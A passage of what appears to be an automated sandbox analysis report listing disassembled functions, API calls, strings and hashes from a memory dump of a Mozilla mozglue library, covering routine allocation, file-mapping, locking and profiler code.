Instruction Fuzzy Hash: 825181716097408BDB10DF6CC48129AFBF4BF9A304F008A2DE9D5A7651E770D985CB52

Function 6C954480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C994843,?), ref: 6C9545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C994843,?), ref: 6C95468A
free.MOZGLUE(?,?,?,?,?,?,6C994843,?), ref: 6C9546C9
free.MOZGLUE(?), ref: 6C9546EF
free.MOZGLUE(?), ref: 6C954712
free.MOZGLUE(?), ref: 6C954735
free.MOZGLUE(?), ref: 6C954758
free.MOZGLUE(?), ref: 6C95477B
free.MOZGLUE(?), ref: 6C95479E

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction ID: d983f65b9de8d24cbfc5b157c8a1ff2378b82593203f650b9622bf2c08de5b40
Opcode Fuzzy Hash: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction Fuzzy Hash: BFB1F171A011118FDB58CF3CC89076D76A6AF42328F980668E916DBBC6D730D8748F92

Function 6C9BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9BAC52
CreateFileMappingW.KERNEL32 ref: 6C9BAC7D
GetSystemInfo.KERNEL32 ref: 6C9BAC98
MapViewOfFile.KERNEL32 ref: 6C9BACB0
GetSystemInfo.KERNEL32 ref: 6C9BACCD
MapViewOfFile.KERNEL32 ref: 6C9BAD05
UnmapViewOfFile.KERNEL32 ref: 6C9BAD1C
CloseHandle.KERNEL32 ref: 6C9BAD28
UnmapViewOfFile.KERNEL32 ref: 6C9BAD37
CloseHandle.KERNEL32 ref: 6C9BAD43
CloseHandle.KERNEL32 ref: 6C9BAD67

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction ID: 9df12873fcc3f648080faf1df3ee66efcb02c3aae138d4fd81af54b2714c495e
Opcode Fuzzy Hash: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction Fuzzy Hash: 0F3180B19087059FDB00AF7CC64826EBBF0BF85305F114A2DE985A7211EF70A588CB92

Function 6C969620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

NtMapViewOfSection, xrefs: 6C969701
ntdll.dll, xrefs: 6C9696E3
MapViewOfFileNuma2, xrefs: 6C9697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction ID: 71d99af88873ccbb9ca1b5f81e71a8ad70b3f8e4eb83b59b7db1030189233b34
Opcode Fuzzy Hash: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction Fuzzy Hash: C741B5717046069BEF00CFA5D885AD6B7B4FB49B68F228529ED15A7B80D730F844CBA1

Function 6C951E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951EC1
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951EE1
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C951F38
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C951F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C951F83
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FC0
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951FE2
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C952019

Strings

MOZ_CRASH(), xrefs: 6C952000

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction ID: c0ba08201beb5524a2ff095b18dfa91ea132a3dff9d0115627b3d99dc1c6d19f
Opcode Fuzzy Hash: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction Fuzzy Hash: DA41F371B05B0A8BDB40DFB8C884B6A7BB5EB5A748F110129ED04A7740D771E854CBD5

Function 6C9A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C9A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A0041
GetCurrentThreadId.KERNEL32 ref: 6C9A0075
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9A0090
free.MOZGLUE(?), ref: 6C9A0104
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9A005B

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction ID: 9fc5920f83300a954fcd4109903853ec2444afa5f56ec9c2042d045a4a361f37
Opcode Fuzzy Hash: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction Fuzzy Hash: 5E41EFB1604A54DFCB10CF64C844A9ABBF0FF69318F14491EE94AA3B40DB31F955CBA2

Function 6C967E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C967EA7
malloc.MOZGLUE(00000001), ref: 6C967EB3

Part of subcall function 6C96CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C96CB49
Part of subcall function 6C96CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C96CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C967EC4
mozalloc_abort.MOZGLUE(?), ref: 6C967F19
malloc.MOZGLUE(?), ref: 6C967F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C967F4D

Strings

d, xrefs: 6C967F89

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction ID: f71660a51bfc7c33d6af84959794149133f3c219dc61652618b1c921e0ce54c1
Opcode Fuzzy Hash: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction Fuzzy Hash: 77310962E0468897EB009B29CC049FEB778EFA6208F155629ED4957752FB30E6C8C391

Function 6C963E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C963EEE
RtlFreeHeap.NTDLL ref: 6C963FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C964006
RtlFreeHeap.NTDLL ref: 6C9640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640C2
RtlFreeHeap.NTDLL ref: 6C964134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964157

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 674c412cf7787f45c8908d4493b16a1839ee3ed121a15ec08fd5a2d23c6253d4
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: ECA193B1A00215CFEB40CF6AC880669BBF5FF58308F254159D909AFB82D771E956CFA1

Function 6C952030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C973F47,?,?,?,6C973F47,6C971A70,?), ref: 6C95207F
memset.VCRUNTIME140(?,000000E5,6C973F47,?,6C973F47,6C971A70,?), ref: 6C9520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C973F47,6C971A70,?), ref: 6C95211A
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C973F47,6C971A70,?), ref: 6C9521BA
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C9521E0
LeaveCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C952253, 6C952268
MOZ_CRASH(), xrefs: 6C95227D

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction ID: 828c2a068095a41296b05bd92f71a6f3781519bce968bec21777f9496497eda7
Opcode Fuzzy Hash: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction Fuzzy Hash: FA61E432F04A068FCB08CB68C88976E77B5AF95318F694239E524B7A84D770E950CB91

Function 6C9548E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C99483A,?), ref: 6C954ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C99483A,?), ref: 6C954AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C99483A,?), ref: 6C954A82

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C99483A,?), ref: 6C954A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C99483A,?), ref: 6C954A35

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C99483A,?), ref: 6C954A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C99483A,?), ref: 6C954AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C99483A,?), ref: 6C954B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C99483A,?), ref: 6C954B2C

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: c836c6404b59a98b96fd366800bf56677edf28e9e2258f747483ae3a99bfd716
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 9E716AB19007469FCB94CF68C490AAAB7F5FF18308B504A3EE15A9BF41E731E565CB81

Function 6C9A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A8273), ref: 6C9A9D65
free.MOZGLUE(6C9A8273,?), ref: 6C9A9D7C
free.MOZGLUE(?,?), ref: 6C9A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A9E0F
free.MOZGLUE(6C9A946B,?,?), ref: 6C9A9E24
free.MOZGLUE(?,?,?), ref: 6C9A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9A9EC8
free.MOZGLUE(6C9A946B,?,?,?), ref: 6C9A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9A9EF5

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction ID: cc66e0434c47908e726fe05c1e405c7b9c056a102bd7088a109864a2d0e3a87c
Opcode Fuzzy Hash: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction Fuzzy Hash: 6271C0B090AB419BD712CF58C48055BF3F4FFA9315B558619E84A5BB02EB31E8C6CB91

Function 6C9ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9ADDCF

Part of subcall function 6C98FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98FA4B

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE0D
free.MOZGLUE(00000000), ref: 6C9ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF32

Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADB86
Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF65
free.MOZGLUE(?), ref: 6C9ADF80

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction ID: 07a09c6d8a3f1bb89c0f9a03b58a6716fb9ee755bcb51460da20ac7cc5e3b0ad
Opcode Fuzzy Hash: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction Fuzzy Hash: E751C8736056119BD7219B98C8806AFB376BFA5308FA5051CDC5A63B00D731F95BCB92

Function 6C9B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DC9
std::_Facet_Register.LIBCPMT ref: 6C9B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E45

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction ID: 986482af42913d889fa8551e66f2f1c07d4f3915cc1bd64038be01e92479de3a
Opcode Fuzzy Hash: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction Fuzzy Hash: 6441A270704304AFDB00DFA5C898AAE77BAEF9D314F144168E50AAB791DB30ED45CB61

Function 6C98CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9531A7), ref: 6C98CDDD

Strings

<jemalloc>, xrefs: 6C98CF9F, 6C98CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C98CFA4, 6C98CFB8

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction ID: 5a446591d9664db63465df0601bcf780b2761a0262ced7f2eb7ce6c0ce538875
Opcode Fuzzy Hash: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction Fuzzy Hash: FB31A5317466055BFB00AFA98C45BAE7B79BB41B54F304A18F614FBA80DB70E8508BA1

Function 6C95ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

